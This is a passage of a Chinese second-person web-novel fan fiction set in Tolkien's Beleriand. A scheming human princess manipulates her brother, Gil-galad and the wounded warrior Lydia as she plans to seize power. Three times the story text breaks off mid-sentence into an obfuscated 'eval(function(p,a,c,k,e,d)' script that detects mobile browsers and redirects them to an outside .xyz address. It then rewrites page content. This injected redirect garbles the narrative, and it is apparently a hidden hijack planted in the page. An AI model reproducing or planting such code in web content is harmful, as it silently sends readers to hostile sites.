格林笑了一下,“那我们一起吃午餐吧。”这是时隔多年他再一次和你共进午餐,你们没有去餐厅,而是麻烦后厨的精灵送了些餐点来花园,就跟野餐一样把垫布展开铺在草地上,然后将那些面包,黄油,一小瓘的果酱,以及用银质花边碗装起来的沙拉放在垫布上。 在靠近格林手边的地方还放着一壶果汁,他盘起腿给你倒了一杯果汁,又递到你手里,“我们很久没有这样了,在这样好的阳光下一同进餐。” 你端着果汁不说话,小口小口地喝果汁,仿佛没听见他说的话,你的确不是很想搭理他。 哪怕你不说话只是安静地坐在他身边,这也足以让他感到幸福,他喋喋不休地说着在多尔罗明发生的事情,其中大部分都是你早已经通过骑士玛丽知道的消息,对你来说一点新鲜感都没有。 “我看过了他们为你整理出来的未婚夫人选。”不知怎的,他话锋一转,将话题转到你的未婚夫人选上,他的语调不自觉地变得满是挑剔和冷嘲热讽,他将那些候选人一个一个分析过去,与其说是分析倒不如说是数落,净挑一些缺点,什么这个的身高不够,那个的长相不漂亮,剩下的不够勇敢等等。 总而言之,没有一个是能够让他满意的,说到最后他扯出个嘲讽的笑容,“他们又怎么能配得上你。” 你喝着果汁,心想自己昨天晚上那巴掌还是扇得轻了,根本没有让他长记性,你凉飕飕地说:“所以呢?你本来就没有决定的权利。” 格林的笑容僵在嘴角,“但我是为了你着想才把他们都淘汰的,而且其实我觉得你就算不成婚也没关系。” 他的后半句话你倒是有几分赞同,然而他接下来说的话就让你的笑容变成了冷笑,你听见他说:“等以后我继任了,我会尽其所能保护你,这是你的那些未婚夫候选人都做不到的。” 你从水果拼盘里找出一颗草莓,新鲜的草莓上还沾染着水珠,你一口咬掉草莓尖,慢条斯理地咀嚼着,剩下的草莓渗出红色的汁液,就像是被冲淡的血液。 “是么,那我还应该感谢你吗?”你问。 “不……你永远都不需要对我说感谢,你是我的亲人,而且我生来就是要保护你的,这就是——”他顿了顿,握住你的手,笑得眉眼弯弯,“这就是我诞生的意义。” 每当这时候,你都会克制不住心中恶意地想,如果你告诉他自己从一开始就那么憎恶他,他又会是什么表情呢? 唉,现在还不是时候,尽管你很想杀死他,但你还需要忍耐。 “而且我向你保证,我不会干涉你的决定,你是自由的。” 虽然不会有明面上的干涉,但是倘若他将你置于他所控制的环境下呢?就像是将小球放置在本身就有坡度的木板上,无论怎样它都会向下滑落,可就是因为没有施加外力,所以看上去像是“自由”的。 你的弟弟,对你抱有十足保护与爱的弟弟,却还是无师自通了这样的“控制自由”的方法,倒不如说是他们本性使然。 你伸出手,这次你没有像昨晚那样恼怒地掌掴他,反而动作轻柔地抚摸他的头发,“你能够理解我,我好高兴。” 格林表现得还像是小时候那样,会撒娇让你抚摸他的头发,会用稚嫩的嗓音让你多夸奖他。 格林在这里逗留了几天,后来多尔罗明那里来了信件,催促他快些回去,他这才依依不舍地与你告别,护送他回多尔罗明的任务不知为什么落到了格洛芬德尔头上,你合理怀疑这其中有谁是故意的,你观察临行前格洛芬德尔的神色,大概猜到了是他特意向图尔巩殿下申请的这个任务。 看到是格洛芬德尔护送他回家,格林的脸色一下子就变了,变得十分难看,但是碍于你还在场,他不能当场发作,只能将这份不悦压下去,然后笑着与你拥抱,“很快的,不久之后我就会接你回多尔罗明的。” 拥抱的时候他在你耳边这么说,你说:“我也在期待这一天的到来。” 等你回到多尔罗明的时候就是你开始着手夺权的时刻,所以但凡格林察觉到一点你的真实心思,就该祈祷那一天晚一些到来,但他什么都不知道。 他只是将脑袋靠在你的肩膀上,依偎着你,态度亲昵,直到格洛芬德尔说:“殿下,我们该启程了。” 格林这才松开手,眼里隐约有泪光闪烁,就和当初他目送你离开时一样,他差点就要哭出来了,好在他及时翻坐在马背上,和格洛芬德尔一同离开。 “他刚才是不是要哭了?”站在一旁的伊缀尔问道,她 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另外一边的你仍旧在埋头苦练,没有格洛芬德尔为你准备膏药,你的双手很快就布满密密麻麻的细小伤口,这些伤口愈合后变成茧子,反而给你一种踏实的感觉。 这天你正站在树荫下调整箭弓,一门心思扑在训练上面的你不曾听说图尔巩的宫殿即将来两位客人,分别是欧罗德瑞斯和他的儿子吉尔-加拉德,欧罗德瑞斯到达宫殿以后就去找图尔巩议事了,他并未让年幼的儿子参加这场会议,而是让他去附近散散心,他不希望把战事的压力和阴翳太早传递给自己的儿子。 于是吉尔-加拉德就按照父亲所说的,在宫殿附近散心,他沿着翠绿的草地走上高地,高地上长满了古木,它们枝繁叶茂,它们都在散发着喜悦而幸福的讯号。 这位精灵少年穿过草地,听着微风掠过树叶的簌簌声,一片绿叶从枝头飘落,在空中打着转,他注视着这片树叶被风带去另外一边,就这样掠过你的衣角,然后落在你的脚边。 吉尔-加拉德这才发现原来这里除了他之外还有另外一位精灵,他向着那道身影靠近,先是看见了你的背影,身姿挺拔,你拉开弓,箭在弦上。 他捕捉到你的耳尖,并非精灵的耳尖,他忽然意识到那是一位人类,因此他惊讶地从喉咙里发出一个单音节,你顿时转过身,泛着寒光的箭矢正对着他。 他终于看清你的面容,那是无法用言语来形容的美丽,他第一瞬间感知到的是短暂的空白,你也是一惊,手一松,箭矢飞了出去。 精灵少年忘了躲避,于是箭矢擦着他的脸颊飞过,他的侧脸浮现出一道细小的伤口。 他无比确信自己在那一刻听见了命运对他的低吟。 后世人类也好,精灵也好都曾为你们的相遇写下诗歌编写歌曲,其中有一句诗句亦或是歌词出现了很多遍。 ——就这样,星辰般的精灵少年遇见了命定的人类少女。 9. 第 9 章 你当即放下弓箭,可惜太晚了,那个精灵脸颊上浮现出一道细小的伤口,隐约有血珠渗出,你未曾见过这个精灵,这说明他不是图尔巩的下属,更不是图尔巩领地里的精灵,那就只有一个可能了,他是图尔巩的客人。 真是糟糕,你有些着急地小跑到他面前,问道:“您没事吧?” 吉尔-加拉德终于听到了你的声音,就如你的外表那样,你的嗓音也是美丽动听的,他后知后觉地抬手想要触碰自己脸颊上的伤口,但是被你先一步抓住手腕,你说:“还是先不要触碰伤口,我很抱歉弄伤了您。” 等你说完这句话他这才从最初的晕眩中缓过来,只是声音还有些停顿,“没事,我没有事,这只是一个小伤口而已。” 你也得承认这就是小伤口,但是这件事情的关键点不在于伤口,而在于你射箭的行为很可能冒犯到了这位精灵贵族,要知道精灵,尤其是精灵里的贵族都是带着傲气的,尽管他们不会将这份骄傲摆在明面上,但他们的内心始终是骄傲的。 本来好好在训练的你碰见这件事情也算是无妄之灾。 “不,我弄伤了您,这是不争的事实,我得向您道歉。”你嘴上是这么说的,但心里却在埋怨这精灵怎么一点边界感都没有误入你的训练场地。 吉尔-加拉德连连摇头,“你无需向我道歉,这件事情我也有错,实在是抱歉——如果我没有猜错的话,你应该是哈多的孙女伊玟对吗?” 他猜出你的身份你并不惊讶,毕竟在这片精灵领地里冒出一个人类,稍微想想也知道这个人类的来历是什么。 “我未曾在这里见过您,您应该是图尔巩殿下的客人吧?”你委婉地表达自己的疑惑。 吉尔-加拉德顺势介绍自己,“我是欧洛德瑞斯之子,吉尔-加拉德。” 精灵的亲戚关系实在是复杂,你思索片刻才想起来,他的祖父是安格罗德,也即芬罗德的弟弟,他们兄弟长居南方的纳国斯隆德,你对他们的了解不算多,只知道他们和芬国昐以及他的儿子女儿走得很近。 你对着他轻轻地点了点头,“幸会。” “我记得你当初是去芬巩殿下的领地暂居的。”吉尔-加拉德想起来自己其实早已听闻过你的消息,只是那个时候他都不曾注意。 “是的,后来伊缀尔公主邀请我来这里游玩一段时间。”然后游玩着游玩着你就在这里住了下来。 吉尔-加拉德说:“你刚才抬起来的弓箭重量不轻,看样子你的身体修养得好了许多。” “但和真正的射箭好手相比,我还差得远呢。”你把弓箭放到一边,“您既然是同父亲一起来的,怎么又会独自行至此?还是说您在这里感觉到了烦闷?” 他的父亲就不知道看好自己的孩子吗? “烦闷自然是没有的,只是我父亲他不希望我过早接触那些战事,他担心我会为此感到忧心。”从他微微蹙起的眉毛就知道他其实不怎么赞同父亲的做法,只是碍于对父亲的尊敬这才让他不得不遵从对方的决定。 “我想他也是为您考虑才会那么做的。”虽说你也很厌恶这种做法,但安慰精灵和安慰人不都是一样的吗,用一些不痛不痒的话来开解对方。 “你说得对。”吉尔-加拉德说,不知为何,只是与你交谈几句,他心中的沉闷就这样轻飘飘地消失了,他无法解释其中的缘由,最后只能笑着问你,“你平常一直都会在这里训练吗?” 他接触过人类不多,而且大多是一些男性,人类少女他几乎不曾接触过,所以他开口之前还得要好好思索一下话题。 “也不是天天都在这里,偶尔我也会去找伊缀尔,听她说些故事,然后再是去花园里采摘鲜花为图尔巩殿下送去插花。”这些都是一些微不足道的小事,但就是这种小事非常加好感,谁让精灵就是这么感性的生物呢,反正换做你是绝对不会因为这种小事而感动的。 看得出来这位精灵少年不擅长聊天,你还得主动给他找话题,免得气氛落得尴尬。 后来你们的话题滑向了之后的夏日宴会,你本来都不想关注这些的,但是伊缀尔经常在你耳边提起,而且就连阿瑞蒂尔还有格洛芬德尔都会有意无意地询问你夏日宴会的打算。 所谓的夏日宴会其实就是在仲夏夜当晚举办的宴会,精灵们聚在一块喝酒唱歌跳舞,偶尔还会燃放烟花,如果是两情相悦的精灵就会在宴会上互表心意,其实和别的普通宴会没什么差别,只不过定在一个特殊的日子,所以使得这个宴会也变得特殊起来了而已。 你知道你是逃不过这个宴会的,伊缀尔还给你准备了参加宴会穿的礼裙,阿瑞蒂尔还送了你呼应仲夏夜主题的花冠让你在宴会当天佩戴,也不知道为什么他们那么看重这个宴会,如果可以你宁愿躲在房间里看书。 “我还没参加过这里的夏日宴会呢。”吉尔-加拉德的话语里充满了期待,你顺着他的意思说:“那这次宴会肯定不会让你失望的。” 吉尔-加拉德说:“你也会参加的对吗?” 你的语调很平淡,“是的,我当然会参加。” 就在这时,伊缀尔找了过来,她说:“原来你们在这里啊,好啦,晚餐要开始了,你们快些随我一同回宫殿吧。” 感谢伊缀尔,在回去的路上你终于不用和这位精灵客人尴尬地聊天了,你开始思索在下一封写给玛丽的信件里吩咐她做些什么好呢? 你先是让她笼络军队里平民出身的将士,将他们吸收到自己的阵营里,这件事情做起来并不难,因为在多尔罗明贵族出身的军人往往能够得到更好的待遇,甚至可以说是拥有特权的,然而光是由贵族士兵组成军队又是不够的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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你倒是不讨厌幼稚的人或者精灵,因为幼稚有时候往往就代表了容易利用,你的眼角瞥到旁边桌上走到一半的棋局,上面那枚白色的棋子在屋内灯光的映照下闪烁着微光,就像是那位以星辰命名的精灵。 或许……他还能成为你的棋子,你的表情若有所思,这样一想,你倒是没有那么讨厌他了,甚至还有些喜欢他,毕竟说不准他以后还能给你带来惊喜呢?果然你与他见面选择友善相处是正确的,虽然你所在的家族和芬国昐这一脉走得很近,但是和芬罗德的手足就没那么亲近了,倘若你能够拉拢这一支精灵呢? 想着想着,你的唇角微微上扬,笑容恣意张扬。 “嗯,我觉得你晚上穿这条裙子一定很适合。”伊缀尔也选中了一条令她满意的裙子,然后拿到你身边比划一下,“果然很合适。” 你换上那条浅蓝色的长裙,外面还披了一件薄款罩衫,至于头发,你将头发随意地一扎就好了,你不想为了这个晚宴浪费时间浪费心思。 你站在全身镜面前,伊缀尔停留在你身边,她叹息着说:“你要是一直这样就好了,我觉得没有谁能够成为你的伴侣,他们都没有这个资格。” “的确。”你轻轻地说。 你真正的伴侣是权力,也是金钱。 10. 第 10 章 等你换好衣服同伊缀尔到达宴会厅的时候吉尔-加拉德还有他的父亲早已在厅内等了有一会,阿瑞蒂尔见你们来了,便对着你们招招手,示意你们走到她身边去。 伊缀尔小声地询问阿瑞蒂尔:“我们来得应该不算太晚吧?” “不算,只是我们的客人来得太早了。”图尔巩说,被父亲偷听的伊缀尔笑容里带着几分责怪,“父亲,我刚才是在和姑姑聊天。” 图尔巩顺势道歉,“抱歉,我是不小心听见了。” 吉尔-加拉德也说:“您二位来得不晚。”说话时你能够感受到他的目光有几秒停留在你身上,唉,年轻的精灵少年尚不知道如何隐藏自己的内心,他的青涩心思在你面前一览无遗,但是拉拢他对你来说也有好处。 于是你抬起头,向他递去一个笑容,“欧洛德瑞斯大人,我得向您道歉,方才弄伤了您的儿子,对了,我还找来了伤药。”说着,你从口袋里摸出一小罐药膏,吉尔-加拉德的父亲欧洛德瑞斯说:“这只是小伤,而且我怎么听他说是他不小心打扰了你训练,是他有错在先。” 你走吉尔-加拉德面前将那一罐药膏放到他的手中,后者说:“我的伤口已经愈合了。” “那或许会留下伤痕,我不希望闪耀的星辰上留下什么疤痕。” 吉尔-加拉德收下药膏,他轻轻地眨了眨眼睛,“谢谢。” 见到宾客都已经到齐了,图尔巩便宣布晚宴正式开始,你借着刚才送吉尔-加拉德药膏的动作顺理成章地在他身边坐下,你的另外一边坐着的是伊缀尔。 你能明显感觉到因为你的存在他的状态都变得不自然起来,你端起酒杯,这只是外形是酒杯,但里面装着的实际上是果汁,无论是图尔巩还是伊缀尔都觉得你不太适合喝酒,而你本身就对酒精没什么偏好,喝果汁就喝果汁吧。 喝一口果汁,你听见他说:“这果汁是这里特有的吧?” 真是个无趣的开场白,你在心里这么评价,但面上还是顺着他的话头说:“是的,那么您居住的地方呢?有什么别的地方没有的东西吗?” 这才算是正式打开了话匣子,吉尔-加拉德说起他的故乡纳国斯隆德,说起那里的君主芬罗德,因为芬罗德并未成婚,更没有后代,所以日后如果发生什么意外,排在他之前的精灵长辈都死去的话,那他就是纳国斯隆德的继承人了。 精灵的寿命都是没有尽头的,除非是被杀死,所以精灵的王位交叠更替没有那么频繁,但无论怎么说,他也能算是纳国斯隆德未来的继承人之一,也还算是有价值。 想到这里,你对他的表情变得越发和善,而这位精灵少年也正是因为你的态度,才一步一步地走入所谓两情相悦的骗局内。 “纳国斯隆德在南方,四季如春,不会有太漫长的冬天,真正漫长的是春天。”吉尔-加拉德斟酌用词,又在前面铺垫了那么多,只是为了说出最后的邀请,“如果你愿意的话,欢迎你去往纳国斯隆德做客。” 你可以保证这周围的精灵都听见了你们的对话,精灵的听力都很好,只不过他们装出一副若无其事的样子而已,如果仔细观察的话就会发现图尔巩端起酒杯的手停在半空中,而阿瑞蒂尔也单手托腮,伊缀尔更是装都不装了,她直接问:“你这是在邀请我们的人类公主吗?” 被伊缀尔这么直接地点明,吉尔-加拉德登时不知所措,他的眼睫轻颤着,耳尖就要泛红了,还是你主动替他解围,“我会好好考虑的,但是前往纳国斯隆德的路途遥远,而且我也很喜欢这里,所以我暂时还不能离开这里。” 吉尔-加拉德说:“我明白了。” 失落的神色爬上他的侧影,他尽可能维持着微笑,可是那笑容看起来有些勉强,直到晚宴结束后你才找到正要回房间的吉尔-加拉德,然后说:“你刚才所描绘的,我都很向往,那里的春天真的很漫长吗?” 吉尔-加拉德马上说:“当然。” “你所说的邀请会一直有效吗?”你笑眼盈盈地看向他,而他也不会忘记这一幕,你站在宫殿长廊的暖色灯光下,眼里含着笑意。 “一直有效,你始终都是纳国斯隆德的客人。”吉尔-加拉德说,他还想说你可以在那里久住的,就跟在这里一样,但是毕竟他现在还在别的精灵的地盘上,所以他把这句话又给压了下去。 “谢谢。” “为什么要说感谢呢?”吉尔-加拉德见你低垂眼帘便在想你是否在哀伤呢? “没什么。” 说得太明白那就没意思了,你发现精灵这一类生物极其擅长脑补,只要你给出一个模棱两可的答案或者是反应,他们都会因为之前对你的印象而开始同情你。 就连你面前的吉尔-加拉德也不例外,你说完这话便先行离开,至于剩下的,就让他自己去琢磨吧。 接下来的几天你都把原定的训练计划进行调整,毕竟你还得要分出一些时间和这位来自纳国斯隆德的客人相处,你们会在花园里享受午后阳光,也会去到书房一同安静看书,更重要的是他还会陪你一块对练,这是你最喜欢他的一点。 这天你们才对练完,他递给你手帕,“脸颊上沾着一些灰尘。” 你用手背擦拭脸颊,但是无果,吉尔-加拉德便说:“请允许我……?” 你会意,“我允许你。” 得到你的应允,他这才用手帕擦去你脸颊边的污痕,他的动作小心翼翼的,就连眼神也是小心翼翼的,与他形成鲜明对比的是你的姿态,你本就站在高处,你们之间的高度差让你足以俯视他,当他擦拭你的脸颊时,你毫无顾虑地打量他的面容,发现前两天你弄出的伤口早已愈合如初,没留下一点痕迹。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789657|158069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让你不得不感叹精灵的恢复能力之强,你的手指触碰他的脸颊,你感受到眼前的精灵身形颤抖了一下,而后你的声音轻飘飘的,就这样飘到他的耳边,“你的伤口都已经愈合了,还好没有留下什么痕迹。” 原来你是在查看他的伤口啊,吉尔-加拉德松了一口气的同时不知为何又有些失落,他说:“嗯……都已经恢复了。” 你收回手,他也放下手帕,你看向远方,突然对他说:“你想去外面看看吗?总是待在这里肯定会很闷吧?” 吉尔-加拉德说:“你说的是你自己吗?” “如果你不愿意的话,那我就只能找别的精灵陪我一起了。” “不,我愿意——我,愿意。”吉尔-加拉德一听你要找别的精灵,他当即回答自己愿意,但是因为回答得太着急了,反而显得他很急切,他不好意思地眨了眨眼睛。 你们骑着白马洛丝来到图尔贡领地的边境线,也就是格洛芬德尔曾经带你来过的地方,你的记性很好,只来过一遍就记住了这里的路线,带着吉尔-加拉德东转西转,就当你们快要到达目的地的时候你忽然察觉到了什么不对劲的地方,你身边的精灵也感知到了。 吉尔-加拉德严肃地说:“周围有别人,但是听那呼吸声,好像是受伤了。”而且还是重伤,要不了多久就会死去,这些时日贝烈瑞安德这片土地上战事频起,战火逐渐蔓延开来,甚至就连精灵领地附近也开始出现战争的痕迹。 吉尔-加拉德还想说些什么,但是他一看你朝着那道藏在树林深处的受伤身影走去他便急匆匆地拉住你,“这样太危险了。”他不能看着你去冒险。 但你却表现得很冷静,“既然我们发现对方,总得要看个究竟,如果是敌人那就不能留他一口气,如果是自己人那就施以援手,而不是就这么走开。” “我赞同你的做法,但是如果只有你一个人在这里,请不要那么做,那对你来说很危险。”吉尔-加拉德说,他不想从其他精灵嘴里听到你的噩耗。 可事实是,就算你是孤身一人,你也会选择上前查看,如果无法克服恐惧,那么一辈子都会受到恐惧的折磨和控制这就是你的人生信条。 你没有和他废话,你走上前,拨开树丛,看到了一道身影,浑身血迹,伤痕累累,你花了点时间才确认对方是人类,而且还是附近人类部落的成员,你当即快步走到对方身边,看到她的面庞你才发现她是一位女性,她的手里还紧握着一把已经卷了刃的长刀。 你取出水囊给她喂水,吉尔-加拉德拿出止血剂和绷带分别洒在她的伤口上,你听见她倒吸一口凉气,她一连喝了好几口水才出声,“你们是谁?这里的精灵?告诉你们的君主,半兽人的军队攻打了北方的人类部落。” 她的声音沙哑,但是眼神却燃烧着怒火,“我一定要让他们血债血偿!” 11. 第 11 章 听到她这么说,你看向她的眼神里多出几分敬佩,后来你才知道她是北方人类部落首领的女儿莉迪亚,半兽人军队来袭时她与父亲一同奔赴战场守卫自己的家园,但是他们抵挡不住半兽人的来势汹汹。 最后只剩下莉迪亚和她的几位骑士存活了下来,但是前不久他们又在森林里遇到伏击,最后只剩下了她,说起这些事情,她的脸上没有绝望,只有熊熊燃烧着的怒火,她说:“既然我活了下来,那么他们就要做好准备迎接我的报复。” “仅凭你一人的报复吗?”你知道这样像是在泼冷水,但是空有一腔热血是无法获得胜利的,这就是为什么你到目前为止都装出一副柔弱公主的模样,为的就是给自己争取时间发展属于自己的力量。 “当然不是,我的族人在东方也有自己的军队,只是当时半兽人军队来势凶猛,我们无法在短时间内调遣军队。” 在你们交谈的时候吉尔-加拉德始终在仔细留意周围的环境,虽说这里是精灵领地的边境,但是就连他也无法保证完全安全,因此他说:“我们不能在这里停留太久,你需要一个更加安全的地方疗伤。” 说着,他和你对视一眼,你们都从对方眼里看到了相同的打算,你将莉迪亚放在马背上,洛丝第一次看到伤得那么严重的人类,它略带好奇,但在你的催促下它又马不停蹄地朝着图尔巩的领地跑去。 因为你们回来的时候多带了一个人类,所以看到你们的精灵都知道你和吉尔-加拉德去到领地以外的地方了,但无论是图尔巩还是阿瑞蒂尔都没有责怪你,他们反倒是有些担心你会被这幅景象吓到,就连伊缀尔也在安慰你,“没事的,这些事情不会发生在你身上的,这里非常安全。” 你一下子就看穿了伊缀尔这么做的目的,你说:“请你放心,其实我并没有多害怕,我也不会因此而陷入恐惧中。” 伊缀尔的手轻轻地拍着你的后背,“那你想要听个好消息吗?” “什么好消息?” 伊缀尔说:“她的情况已经稳定下来了,而且多亏了你,她的身体不至于残废。” 那对你来说确实是个好消息,因为你在莉迪亚身上看到了自己未来可能发生的情况,她就像是另外一个你,只是比你更早一步踏入战场,想到这里,你开始思考自己是否应该也上战场历练一番,如果一直局限在训练中,和你对练的精灵从来不忍心对你下重手,这样一来你就不可能学到什么有用的东西了。 “她很感谢你。”伊缀尔抚摸你的头发,“不过你怎么突然和吉尔-加拉德去那么远的地方了?” 这个问题图尔巩后来也问过你,但是吉尔-加拉德赶在你之前先一步回答,他说:“这都是我的主意,是我提议出去看看的,如果要惩罚,就请您惩罚我吧。” 图尔巩怎么会看不出来吉尔-加拉德是在顶替你,而你也说:“不,您还是惩罚我吧,这都是我的想法。” “我也是头一次看到都争着要惩罚的,但我本来就没打算惩罚你们。”图尔巩说,“你们都很勇敢,尤其是伊玟,那位莉迪亚王女日后将会带领军队抗击北方半兽人军队,倘若没有你,那么我们就会少了一份来自北方的人类援军,所以我们精灵应当感谢你才是。” 其实你一开始就知道图尔巩不会苛责你的,毕竟你都已经把他的好感度刷得很高了,众所周知,精灵是很护短的,一旦把你纳入自己人的范围内那就会尽可能地包容你。 更何况他这样高好感度的精灵还不止一个,毫不夸张的说,图尔巩领地上的精灵基本上都已经被你刷满好感度了,当然你指的是友情方面的最高值,你倒是没有尝试过把恋爱的好感度都刷到最高,因为这很可能会给你带来阻力。 从图尔巩的书房里出来后你又去见了那位莉迪亚王女,她一见到你便对你笑着说:“原来您是多尔罗明的公主殿下,请原谅我之前的失礼。” “失礼?你之前有什么失礼的地方吗?那个时候你濒临死亡,哪里还需要讲究什么礼仪呢?”你说。 莉迪亚说:“您不光如传闻中说的那样美丽,就连性格也是那样宽容大度。” 你坐在她的床边,你看到她露在外面的伤口,莉迪亚察觉到你的目光,她说:“您还是别看了,伤疤是很难看的。” 说着,她想要用衣服遮挡这些伤口,但是被你阻止了,你说:“不,一点也不难看,这是你荣誉的勋章,看到伤疤想起的不该是伤痛,更应该是受伤时不甘心的愤怒……” 莉迪亚怔怔地看着你,她曾经听说过你,倒不如说在这片土地上很少有人类没听说过你,从你出生前的预言以及长大以后的美丽容颜,还有你那和露西恩截然不同的命运,种种叠加在一起,使得你变得那样特殊。 在她的想象中,你应该是一位美丽动人却又柔弱温和的公主,但是现在看来,前半句话可以肯定,至于柔弱温和……她就有些不确定了,你真的和你的外表一样柔弱吗?可是从刚才的话语来看,你非但不柔弱,相反地,还很坚韧不拔,也十分勇敢。 “愤怒的心情……”莉迪亚喃喃道。 你又问:“当你第一次上战场的时候,你的心里在想什么呢?能和我说说吗?” 莉迪亚原本想说你这样受宠爱的公主不需要上战场,但是她在抬头看到你的眼神时,她就明白了,你不会让自己一辈子都生活在他人的保护之下,于是她说:“紧张,激动,还有愤怒,但是唯独没有害怕。” 话语间她回忆起初次上战场的画面,她的父亲还有自己的骑士陪伴在她身边,她手中的宝剑刺穿半兽人的咽喉,顿时鲜血四溅,当那些血液溅到她的手上时,她的内心却毫无波澜。 “原来是这样。”你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789658|158069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说。 莉迪亚笑了起来,“如果您日后要上战场,我有预感,您会经历磨练后成为独当一面的强者。” “就像你一样吗?”不仅是像她一样成为强者,还能像她一样成为部落的首领统领剩下的子民。 “不,您会比我更加耀眼。”莉迪亚的眼神明亮,“而且我向您立下约定,日后如果您有需要帮助的地方,我会倾力相助。” 看吧,这就是多出门的好处了,时不时还能为自己找来几个未来的盟友呢。 你来找她聊天最想听到的就是这句话了,你说:“你的誓言我听到了,但我现在最希望的就是你养好伤。” 莉迪亚说:“放心吧,我还要杀回去呢,我很快就会恢复的。” 后来你又和莉迪亚说了些别的,你也了解到这次魔苟斯的爪牙突然出击,似乎是在害怕什么,有传闻说他是在害怕某一则预言,在那则预言里提到了他的下场,将会死在微不足道之人的手中。 这就是为什么魔苟斯这些天对人类部落发动攻击,他想要赶在预言生效之前杀死预言里的那个“微不足道之人”。 在你看来他的这一做法简单粗暴,但是又存在极大的缺陷,只要没有对人类斩尽杀绝,那就会为自己留下隐患,而且他这些举动不免暴露出他对预言的恐惧。 你对魔苟斯的了解不多,知道得最清楚的就是他头顶王冠上的三颗精灵宝钻,那也是诺多精灵出奔来到中土的主要原因,听说费艾诺的儿子为了夺回那三颗精灵宝钻甚至还立下了誓言,当然具体如何你也不是很清楚。 听说那三颗精灵宝钻拥有特殊的魔力,但你对于这种已经被精灵盯上的东西不怎么感兴趣,只是偶尔你也在想,如果你能得到那三颗精灵宝钻,那么你是否能够换来费艾诺之子的支持呢? 这还只是个想法而已,一开始你还被这个突然冒出来的想法给吓了一跳,因为你虽然有野心,但是也不能保证自己可以从魔苟斯手里取走那三颗精灵宝钻然后全身而退,但不可否认地,这个想法在诞生之初就已经在你心里扎根,只需要某个契机就会萌芽生长,然后付诸实践。 你从莉迪亚的房间出来,吉尔-加拉德就站在门外的长廊上,见你出来了,他便说:“她还好吗?” “很好,很有精神,你不如进去看看她?” 吉尔-加拉德摇了摇头,“那我还是不去打扰她了吧。”而且他来这里主要也是来找你的,他很担心你被吓到了,但是现在看来,你非但没有被吓到,整个人的状态十分自然,他一时之间不知道该不该说安慰你的话,就在他纠结的时候你开口了,你说:“你还好吗?图尔巩殿下应该没有责怪你吧?” “没有,他之后并没有对我说什么。”他说,“你不要为此而感到内疚。” 内疚?你怎么可能感到内疚,他真是想太多了。 12. 第 12 章 在莉迪亚养病的那段时间里,图尔巩领地里的精灵也开始着手准备不久之后的夏日宴会了,在你看来这个宴会和往常的宴会没有什么不同的,只不过是在夏天,夏天带给你的除了炎热以外还有一种无法言说的悲伤。 或许是因为你上辈子的经历里夏天往往代表了离别,升学的离别,毕业的离别,还有生老病死的离别。 距离夏日宴会越近,那宫殿上上下下的宴会气氛就愈发浓重,你对此兴致缺缺,但吉尔-加拉德身为精灵同样这个宴会很期待,他说:“在夏夜里夜空中的星辰是最明亮的,我们能够沐浴在瓦尔妲的光辉下。” 你对那些精灵嘴里提到过的维拉没有半分敬意,可能是因为你本身在上辈子的时候就是个无神论者,虽说现在重生了,而且还绑定了一个模拟器系统,但是你毕竟没有真的见过维拉,而且就算见过又怎样呢? 哪怕那些维拉真的出现在你面前,你也不会有多虔诚,说到底,你能够相信的就是自己,能够依靠的也只有自己。 但是从之前精灵也好,人类智者也好对你做出的预言来看,你的命运似乎早已被维拉们安排好了。 “那画面一定很美。”你顺着吉尔-加拉德的意思应和道,但内心并没有多赞同。 你们是在藏书室里进行这场对话的,这些天你都不去找伊缀尔和阿瑞蒂尔了,她们都在准备宴会的事情,至于图尔巩,你不经常去他那里,除非是你有求于他,当然,你偶尔也会为他的书房更换插花,以此来刷好感度,你就喜欢这种没什么付出还能刷好感度的行为,回报远大于投入。 吉尔-加拉德已经无心看书,他虽然手里捧着书,但是目光却似有若无地飘到你身边,那视线太明显了,他根本就不懂得怎么隐藏自己的目光吧?关于这件事情他倒是可以找格洛芬德尔取取经,至少他偷看你不会太明显。 你看完这本占星术书籍的最后几页,而后忽然抬眼,你们撞了个四目相对,吉尔-加拉德手里的书没拿稳,差点就要掉落,他混乱地一时之间不知道是该先拿稳书还是先收回目光,最后就是两件事情都没做成。 手里的书啪嗒一声落在地上,眼睛还一眨不眨地看着你,他这副愣愣的样子倒是好笑,你笑了起来,“你的书掉了。” “啊、抱歉。”他的第一反应却是先道歉,然后才弯下腰去捡起书。 “除了这个你还有什么话想要对我说的吗?我是说,你在不小心弄掉书的时候心里想对我说什么?”你合起书,单手托腮笑眼盈盈地凝视着他。 “我……想问你宴会的舞伴已经确定了吗?”吉尔-加拉德为了这件事心烦意乱了好几天,就连他的父亲欧洛德瑞斯也看出他的心神不宁,在得知真实原因以后他笑着说:“不如你去问问那位人类公主吧,她说不定会同意你。” “那如果她不同意呢?” “只能说明你没有打动她,但如果你不问,你永远都不会知道答案。” 在那场对话以后吉尔-加拉德就一直在寻找询问你的机会,但是他总是算不准,昨天在花园的时候他就想说了,可是他瞧见你专心照顾鸟雀的侧影,便又不忍心打破这份安静美好的氛围,再后来傍晚散步的时候他也在寻找机会,可是最后还是什么都没说。 时间来到现在,他终于问出口了,虽然还由你先提问的。 